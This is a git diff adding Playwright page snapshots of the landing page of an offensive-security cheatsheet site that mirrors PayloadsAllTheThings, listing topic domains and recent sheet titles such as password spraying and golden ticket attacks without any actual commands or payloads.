+        - link "github / daemon-sec-cheatsheet β†—" [ref=f2e544] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f2e545]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f2e546] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f2e547] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f2e548]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f2e549]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-04-37-752Z.yml b/.playwright-mcp/page-2026-08-10T08-04-37-752Z.yml
@@ -0,0 +1,423 @@
+- generic [ref=f2e1]:
+  - banner [ref=f2e2]:
+    - generic [ref=f2e3]:
+      - link "DÆMON//SEC home" [ref=f2e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f2e5]: //
+        - text: SEC
+        - generic [ref=f2e6]: _
+      - navigation "Primary" [ref=f2e7]:
+        - link "01 Vault" [ref=f2e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f2e9]: "01"
+          - generic [ref=f2e10]: Vault
+        - link "02 Payloads" [ref=f2e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f2e12]: "02"
+          - generic [ref=f2e13]: Payloads
+        - link "03 Tags" [ref=f2e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f2e15]: "03"
+          - generic [ref=f2e16]: Tags
+        - link "04 Credits" [ref=f2e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f2e18]: "04"
+          - generic [ref=f2e19]: Credits
+      - generic [ref=f2e20]:
+        - button "Search cheatsheets" [ref=f2e21] [cursor=pointer]:
+          - generic [ref=f2e24]: Search
+          - generic [ref=f2e25]: /
+        - button "Toggle theme" [ref=f2e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f2e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f2e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f2e37]:
+    - generic [ref=f2e39]:
+      - generic [ref=f2e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f2e42]:
+          - generic [ref=f2e43]: D
+          - generic [ref=f2e44]: Γ†
+          - generic [ref=f2e45]: M
+          - generic [ref=f2e46]: O
+          - generic [ref=f2e47]: "N"
+        - paragraph [ref=f2e49]:
+          - generic [ref=f2e50]: The cheatsheet vault
+      - generic [ref=f2e52]:
+        - generic [ref=f2e53]:
+          - generic [ref=f2e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f2e55]
+          - paragraph [ref=f2e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f2e57]:
+            - button "Search the vault" [ref=f2e58] [cursor=pointer]
+            - link "Payloads" [ref=f2e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f2e66]:
+          - generic [ref=f2e67]:
+            - generic [ref=f2e68]:
+              - generic [ref=f2e69]: daemon@sec
+              - generic [ref=f2e70]: ~
+              - generic [ref=f2e71]: "%"
+              - generic [ref=f2e72]: whoami --vault
+            - generic [ref=f2e74]:
+              - term [ref=f2e75]: scope
+              - definition [ref=f2e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f2e77]: format
+              - definition [ref=f2e78]: Copy-ready commands, current tool flags
+              - term [ref=f2e79]: search
+              - definition [ref=f2e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f2e81]: license
+              - definition [ref=f2e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f2e83]:
+            - generic [ref=f2e84]:
+              - term [ref=f2e85]: Curated cheatsheets
+              - definition [ref=f2e86]:
+                - text: "214"
+                - generic [ref=f2e87]: Curatedcheatsheets
+            - generic [ref=f2e88]:
+              - term [ref=f2e89]: Operator domains
+              - definition [ref=f2e90]:
+                - text: "12"
+                - generic [ref=f2e91]: Operatordomains
+            - generic [ref=f2e92]:
+              - term [ref=f2e93]: Mirrored payload pages
+              - definition [ref=f2e94]:
+                - text: "135"
+                - generic [ref=f2e95]: Mirroredpayload pages
+    - region "Domains" [ref=f2e96]:
+      - generic [ref=f2e97]: "^: Index"
+      - generic [ref=f2e101]:
+        - generic [ref=f2e102]:
+          - generic [ref=f2e103]:
+            - generic [ref=f2e104]: "01"
+            - generic [ref=f2e105]: AD
+            - generic [ref=f2e109]: Active Directory
+            - generic [ref=f2e110]: 130 sheets
+          - generic [ref=f2e111]:
+            - generic [ref=f2e112]: "02"
+            - generic [ref=f2e113]: ENUM
+            - generic [ref=f2e117]: Enumeration
+            - generic [ref=f2e118]: 18 sheets
+          - generic [ref=f2e119]:
+            - generic [ref=f2e120]: "03"
+            - generic [ref=f2e121]: PWN
+            - generic [ref=f2e125]: Exploitation
+            - generic [ref=f2e126]: 7 sheets
+          - generic [ref=f2e127]:
+            - generic [ref=f2e128]: "04"
+            - generic [ref=f2e129]: PRIV
+            - generic [ref=f2e133]: Privilege Escalation
+            - generic [ref=f2e134]: 2 sheets
+          - generic [ref=f2e135]:
+            - generic [ref=f2e136]: "05"
+            - generic [ref=f2e137]: CRED
+            - generic [ref=f2e141]: Password Attacks
+            - generic [ref=f2e142]: 3 sheets
+          - generic [ref=f2e143]:
+            - generic [ref=f2e144]: "06"
+            - generic [ref=f2e145]: WEB
+            - generic [ref=f2e149]: Web
+            - generic [ref=f2e150]: 9 sheets
+          - generic [ref=f2e151]:
+            - generic [ref=f2e152]: "07"
+            - generic [ref=f2e153]: PIVOT
+            - generic [ref=f2e157]: Tunneling & Pivoting
+            - generic [ref=f2e158]: 6 sheets
+          - generic [ref=f2e159]:
+            - generic [ref=f2e160]: "08"
+            - generic [ref=f2e161]: CRYPTO
+            - generic [ref=f2e165]: Cryptography
+            - generic [ref=f2e166]: 3 sheets
+          - generic [ref=f2e167]:
+            - generic [ref=f2e168]: "09"
+            - generic [ref=f2e169]: DFIR
+            - generic [ref=f2e173]: DFIR
+            - generic [ref=f2e174]: 4 sheets
+          - generic [ref=f2e175]:
+            - generic [ref=f2e176]: "10"
+            - generic [ref=f2e177]: TOOL
+            - generic [ref=f2e181]: Tools
+            - generic [ref=f2e182]: 18 sheets
+          - generic [ref=f2e183]:
+            - generic [ref=f2e184]: "11"
+            - generic [ref=f2e185]: NIX
+            - generic [ref=f2e189]: Linux & IT
+            - generic [ref=f2e190]: 9 sheets
+          - generic [ref=f2e191]:
+            - generic [ref=f2e192]: "12"
+            - generic [ref=f2e193]: GIT
+            - generic [ref=f2e197]: Git & Workflow
+            - generic [ref=f2e198]: 5 sheets
+        - generic [ref=f2e199]:
+          - generic [ref=f2e200]:
+            - generic [ref=f2e201]: "01"
+            - generic [ref=f2e202]: AD
+            - generic [ref=f2e206]: Active Directory
+            - generic [ref=f2e207]: 130 sheets
+          - generic [ref=f2e208]:
+            - generic [ref=f2e209]: "02"
+            - generic [ref=f2e210]: ENUM
+            - generic [ref=f2e214]: Enumeration
+            - generic [ref=f2e215]: 18 sheets
+          - generic [ref=f2e216]:
+            - generic [ref=f2e217]: "03"
+            - generic [ref=f2e218]: PWN
+            - generic [ref=f2e222]: Exploitation
+            - generic [ref=f2e223]: 7 sheets
+          - generic [ref=f2e224]:
+            - generic [ref=f2e225]: "04"
+            - generic [ref=f2e226]: PRIV
+            - generic [ref=f2e230]: Privilege Escalation
+            - generic [ref=f2e231]: 2 sheets
+          - generic [ref=f2e232]:
+            - generic [ref=f2e233]: "05"
+            - generic [ref=f2e234]: CRED
+            - generic [ref=f2e238]: Password Attacks
+            - generic [ref=f2e239]: 3 sheets
+          - generic [ref=f2e240]:
+            - generic [ref=f2e241]: "06"
+            - generic [ref=f2e242]: WEB
+            - generic [ref=f2e246]: Web
+            - generic [ref=f2e247]: 9 sheets
+          - generic [ref=f2e248]:
+            - generic [ref=f2e249]: "07"
+            - generic [ref=f2e250]: PIVOT
+            - generic [ref=f2e254]: Tunneling & Pivoting
+            - generic [ref=f2e255]: 6 sheets
+          - generic [ref=f2e256]:
+            - generic [ref=f2e257]: "08"
+            - generic [ref=f2e258]: CRYPTO
+            - generic [ref=f2e262]: Cryptography
+            - generic [ref=f2e263]: 3 sheets
+          - generic [ref=f2e264]:
+            - generic [ref=f2e265]: "09"
+            - generic [ref=f2e266]: DFIR
+            - generic [ref=f2e270]: DFIR
+            - generic [ref=f2e271]: 4 sheets
+          - generic [ref=f2e272]:
+            - generic [ref=f2e273]: "10"
+            - generic [ref=f2e274]: TOOL
+            - generic [ref=f2e278]: Tools
+            - generic [ref=f2e279]: 18 sheets
+          - generic [ref=f2e280]:
+            - generic [ref=f2e281]: "11"
+            - generic [ref=f2e282]: NIX
+            - generic [ref=f2e286]: Linux & IT
+            - generic [ref=f2e287]: 9 sheets
+          - generic [ref=f2e288]:
+            - generic [ref=f2e289]: "12"
+            - generic [ref=f2e290]: GIT
+            - generic [ref=f2e294]: Git & Workflow
+            - generic [ref=f2e295]: 5 sheets
+      - generic [ref=f2e296]: 12 domains
+    - generic [ref=f2e298]:
+      - generic [ref=f2e300]:
+        - paragraph [ref=f2e301]:
+          - generic [ref=f2e302]: "01"
+          - generic [ref=f2e303]: "^:"
+          - generic [ref=f2e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f2e306]
+      - generic [ref=f2e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f2e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f2e309]:
+            - generic [ref=f2e310]: AD
+            - generic [ref=f2e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f2e312]
+          - paragraph [ref=f2e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f2e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f2e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f2e318]:
+            - generic [ref=f2e319]: ENUM
+            - generic [ref=f2e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f2e321]
+          - paragraph [ref=f2e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f2e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f2e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f2e327]:
+            - generic [ref=f2e328]: PWN
+            - generic [ref=f2e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f2e330]
+          - paragraph [ref=f2e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f2e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f2e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f2e336]:
+            - generic [ref=f2e337]: PRIV
+            - generic [ref=f2e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f2e339]
+          - paragraph [ref=f2e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f2e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f2e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f2e345]:
+            - generic [ref=f2e346]: CRED
+            - generic [ref=f2e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f2e348]
+          - paragraph [ref=f2e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=f2e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f2e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f2e354]:
+            - generic [ref=f2e355]: WEB
+            - generic [ref=f2e356]: "06"
+          - heading "Web" [level=3] [ref=f2e357]
+          - paragraph [ref=f2e358]: XSS, injection, and web application testing.
+          - generic [ref=f2e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f2e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f2e363]:
+            - generic [ref=f2e364]: PIVOT
+            - generic [ref=f2e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f2e366]
+          - paragraph [ref=f2e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f2e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f2e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f2e372]:
+            - generic [ref=f2e373]: CRYPTO
+            - generic [ref=f2e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f2e375]
+          - paragraph [ref=f2e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f2e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f2e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f2e381]:
+            - generic [ref=f2e382]: DFIR
+            - generic [ref=f2e383]: "09"
+          - heading "DFIR" [level=3] [ref=f2e384]
+          - paragraph [ref=f2e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f2e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f2e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f2e390]:
+            - generic [ref=f2e391]: TOOL
+            - generic [ref=f2e392]: "10"
+          - heading "Tools" [level=3] [ref=f2e393]
+          - paragraph [ref=f2e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f2e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f2e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f2e399]:
+            - generic [ref=f2e400]: NIX
+            - generic [ref=f2e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f2e402]
+          - paragraph [ref=f2e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f2e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f2e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f2e408]:
+            - generic [ref=f2e409]: GIT
+            - generic [ref=f2e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f2e411]
+          - paragraph [ref=f2e412]: Version control and operator workflow.
+          - generic [ref=f2e413]: 5 sheets
+    - link [ref=f2e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f2e417]:
+        - generic [ref=f2e418]:
+          - paragraph [ref=f2e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f2e420]
+          - paragraph [ref=f2e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f2e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f2e423]: Browse payloads
+    - generic [ref=f2e427]:
+      - generic [ref=f2e428]:
+        - generic [ref=f2e429]:
+          - paragraph [ref=f2e430]:
+            - generic [ref=f2e431]: "03"
+            - generic [ref=f2e432]: "^:"
+            - generic [ref=f2e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f2e435]
+        - link "All tags" [ref=f2e436] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f2e439]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f2e440] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f2e441]:
+            - generic [ref=f2e442]: "01"
+            - generic [ref=f2e443]: ENUM
+            - generic [ref=f2e447]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f2e448]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f2e452] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f2e453]:
+            - generic [ref=f2e454]: "02"
+            - generic [ref=f2e455]: ENUM
+            - generic [ref=f2e459]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f2e460]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f2e464] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f2e465]:
+            - generic [ref=f2e466]: "03"
+            - generic [ref=f2e467]: AD
+            - generic [ref=f2e471]: Active-Directory_cheat_sheet
+            - generic [ref=f2e472]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f2e476] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f2e477]:
+            - generic [ref=f2e478]: "04"
+            - generic [ref=f2e479]: ENUM
+            - generic [ref=f2e483]: Anonymous Null Testing
+            - generic [ref=f2e484]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f2e488] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f2e489]:
+            - generic [ref=f2e490]: "05"
+            - generic [ref=f2e491]: AD
+            - generic [ref=f2e495]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f2e496]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f2e500] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f2e501]:
+            - generic [ref=f2e502]: "06"
+            - generic [ref=f2e503]: AD
+            - generic [ref=f2e507]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f2e508]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f2e512] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f2e513]:
+            - generic [ref=f2e514]: "07"
+            - generic [ref=f2e515]: AD
+            - generic [ref=f2e519]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f2e520]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f2e524] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f2e525]:
+            - generic [ref=f2e526]: "08"
+            - generic [ref=f2e527]: AD
+            - generic [ref=f2e531]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f2e532]: 2026-08-10
+  - contentinfo [ref=f2e536]:
+    - generic [ref=f2e537]:
+      - generic [ref=f2e538]:
+        - link "DÆMON // SEC" [ref=f2e539] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f2e540]: //
+          - text: SEC
+        - paragraph [ref=f2e541]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f2e542]:
+        - link "daemon-404.github.io β†—" [ref=f2e543] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f2e544] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f2e545]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f2e546] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f2e547] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f2e548]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f2e549]: RosΓ© Pine Β· Astro Β· Pagefind
+  - dialog "Search cheatsheets" [ref=f2e552]:
+    - generic [ref=f2e553]:
+      - searchbox "Search query" [active] [ref=f2e557]
+      - button "Close search" [ref=f2e558] [cursor=pointer]
+    - paragraph [ref=f2e562]: Type to search the vault. Esc to close.
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-05-10-789Z.yml b/.playwright-mcp/page-2026-08-10T08-05-10-789Z.yml
@@ -0,0 +1,496 @@
+- generic [ref=f2e1]:
+  - banner [ref=f2e2]:
+    - generic [ref=f2e3]:
+      - link "DÆMON//SEC home" [ref=f2e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f2e5]: //
+        - text: SEC
+        - generic [ref=f2e6]: _
+      - navigation "Primary" [ref=f2e7]:
+        - link "01 Vault" [ref=f2e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f2e9]: "01"
+          - generic [ref=f2e10]: Vault
+        - link "02 Payloads" [ref=f2e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f2e12]: "02"
+          - generic [ref=f2e13]: Payloads
+        - link "03 Tags" [ref=f2e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f2e15]: "03"
+          - generic [ref=f2e16]: Tags
+        - link "04 Credits" [ref=f2e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f2e18]: "04"
+          - generic [ref=f2e19]: Credits
+      - generic [ref=f2e20]:
+        - button "Search cheatsheets" [ref=f2e21] [cursor=pointer]:
+          - generic [ref=f2e24]: Search
+          - generic [ref=f2e25]: /
+        - button "Toggle theme" [ref=f2e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f2e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f2e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f2e37]:
+    - generic [ref=f2e39]:
+      - generic [ref=f2e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f2e42]:
+          - generic [ref=f2e43]: D
+          - generic [ref=f2e44]: Γ†
+          - generic [ref=f2e45]: M
+          - generic [ref=f2e46]: O
+          - generic [ref=f2e47]: "N"
+        - paragraph [ref=f2e49]:
+          - generic [ref=f2e50]: The cheatsheet vault
+      - generic [ref=f2e52]:
+        - generic [ref=f2e53]:
+          - generic [ref=f2e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f2e55]
+          - paragraph [ref=f2e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f2e57]:
+            - button "Search the vault" [ref=f2e58] [cursor=pointer]
+            - link "Payloads" [ref=f2e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f2e66]:
+          - generic [ref=f2e67]:
+            - generic [ref=f2e68]:
+              - generic [ref=f2e69]: daemon@sec
+              - generic [ref=f2e70]: ~
+              - generic [ref=f2e71]: "%"
+              - generic [ref=f2e72]: whoami --vault
+            - generic [ref=f2e74]:
+              - term [ref=f2e75]: scope
+              - definition [ref=f2e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f2e77]: format
+              - definition [ref=f2e78]: Copy-ready commands, current tool flags
+              - term [ref=f2e79]: search
+              - definition [ref=f2e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f2e81]: license
+              - definition [ref=f2e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f2e83]:
+            - generic [ref=f2e84]:
+              - term [ref=f2e85]: Curated cheatsheets
+              - definition [ref=f2e86]:
+                - text: "214"
+                - generic [ref=f2e87]: Curatedcheatsheets
+            - generic [ref=f2e88]:
+              - term [ref=f2e89]: Operator domains
+              - definition [ref=f2e90]:
+                - text: "12"
+                - generic [ref=f2e91]: Operatordomains
+            - generic [ref=f2e92]:
+              - term [ref=f2e93]: Mirrored payload pages
+              - definition [ref=f2e94]:
+                - text: "135"
+                - generic [ref=f2e95]: Mirroredpayload pages
+    - region "Domains" [ref=f2e96]:
+      - generic [ref=f2e97]: "^: Index"
+      - generic [ref=f2e101]:
+        - generic [ref=f2e102]:
+          - generic [ref=f2e103]:
+            - generic [ref=f2e104]: "01"
+            - generic [ref=f2e105]: AD
+            - generic [ref=f2e109]: Active Directory
+            - generic [ref=f2e110]: 130 sheets
+          - generic [ref=f2e111]:
+            - generic [ref=f2e112]: "02"
+            - generic [ref=f2e113]: ENUM
+            - generic [ref=f2e117]: Enumeration
+            - generic [ref=f2e118]: 18 sheets
+          - generic [ref=f2e119]:
+            - generic [ref=f2e120]: "03"
+            - generic [ref=f2e121]: PWN
+            - generic [ref=f2e125]: Exploitation
+            - generic [ref=f2e126]: 7 sheets
+          - generic [ref=f2e127]:
+            - generic [ref=f2e128]: "04"
+            - generic [ref=f2e129]: PRIV
+            - generic [ref=f2e133]: Privilege Escalation
+            - generic [ref=f2e134]: 2 sheets
+          - generic [ref=f2e135]:
+            - generic [ref=f2e136]: "05"
+            - generic [ref=f2e137]: CRED
+            - generic [ref=f2e141]: Password Attacks
+            - generic [ref=f2e142]: 3 sheets
+          - generic [ref=f2e143]:
+            - generic [ref=f2e144]: "06"
+            - generic [ref=f2e145]: WEB
+            - generic [ref=f2e149]: Web
+            - generic [ref=f2e150]: 9 sheets
+          - generic [ref=f2e151]:
+            - generic [ref=f2e152]: "07"
+            - generic [ref=f2e153]: PIVOT
+            - generic [ref=f2e157]: Tunneling & Pivoting
+            - generic [ref=f2e158]: 6 sheets
+          - generic [ref=f2e159]:
+            - generic [ref=f2e160]: "08"
+            - generic [ref=f2e161]: CRYPTO
+            - generic [ref=f2e165]: Cryptography
+            - generic [ref=f2e166]: 3 sheets
+          - generic [ref=f2e167]:
+            - generic [ref=f2e168]: "09"
+            - generic [ref=f2e169]: DFIR
+            - generic [ref=f2e173]: DFIR
+            - generic [ref=f2e174]: 4 sheets
+          - generic [ref=f2e175]:
+            - generic [ref=f2e176]: "10"
+            - generic [ref=f2e177]: TOOL
+            - generic [ref=f2e181]: Tools
+            - generic [ref=f2e182]: 18 sheets
+          - generic [ref=f2e183]:
+            - generic [ref=f2e184]: "11"
+            - generic [ref=f2e185]: NIX
+            - generic [ref=f2e189]: Linux & IT
+            - generic [ref=f2e190]: 9 sheets
+          - generic [ref=f2e191]:
+            - generic [ref=f2e192]: "12"
+            - generic [ref=f2e193]: GIT
+            - generic [ref=f2e197]: Git & Workflow
+            - generic [ref=f2e198]: 5 sheets
+        - generic [ref=f2e199]:
+          - generic [ref=f2e200]:
+            - generic [ref=f2e201]: "01"
+            - generic [ref=f2e202]: AD
+            - generic [ref=f2e206]: Active Directory
+            - generic [ref=f2e207]: 130 sheets
+          - generic [ref=f2e208]:
+            - generic [ref=f2e209]: "02"
+            - generic [ref=f2e210]: ENUM
+            - generic [ref=f2e214]: Enumeration
+            - generic [ref=f2e215]: 18 sheets
+          - generic [ref=f2e216]:
+            - generic [ref=f2e217]: "03"
+            - generic [ref=f2e218]: PWN
+            - generic [ref=f2e222]: Exploitation
+            - generic [ref=f2e223]: 7 sheets
+          - generic [ref=f2e224]:
+            - generic [ref=f2e225]: "04"
+            - generic [ref=f2e226]: PRIV
+            - generic [ref=f2e230]: Privilege Escalation
+            - generic [ref=f2e231]: 2 sheets
+          - generic [ref=f2e232]:
+            - generic [ref=f2e233]: "05"
+            - generic [ref=f2e234]: CRED
+            - generic [ref=f2e238]: Password Attacks
+            - generic [ref=f2e239]: 3 sheets
+          - generic [ref=f2e240]:
+            - generic [ref=f2e241]: "06"
+            - generic [ref=f2e242]: WEB
+            - generic [ref=f2e246]: Web
+            - generic [ref=f2e247]: 9 sheets
+          - generic [ref=f2e248]:
+            - generic [ref=f2e249]: "07"
+            - generic [ref=f2e250]: PIVOT
+            - generic [ref=f2e254]: Tunneling & Pivoting
+            - generic [ref=f2e255]: 6 sheets
+          - generic [ref=f2e256]:
+            - generic [ref=f2e257]: "08"
+            - generic [ref=f2e258]: CRYPTO
+            - generic [ref=f2e262]: Cryptography
+            - generic [ref=f2e263]: 3 sheets
+          - generic [ref=f2e264]:
+            - generic [ref=f2e265]: "09"
+            - generic [ref=f2e266]: DFIR
+            - generic [ref=f2e270]: DFIR
+            - generic [ref=f2e271]: 4 sheets
+          - generic [ref=f2e272]:
+            - generic [ref=f2e273]: "10"
+            - generic [ref=f2e274]: TOOL
+            - generic [ref=f2e278]: Tools
+            - generic [ref=f2e279]: 18 sheets
+          - generic [ref=f2e280]:
+            - generic [ref=f2e281]: "11"
+            - generic [ref=f2e282]: NIX
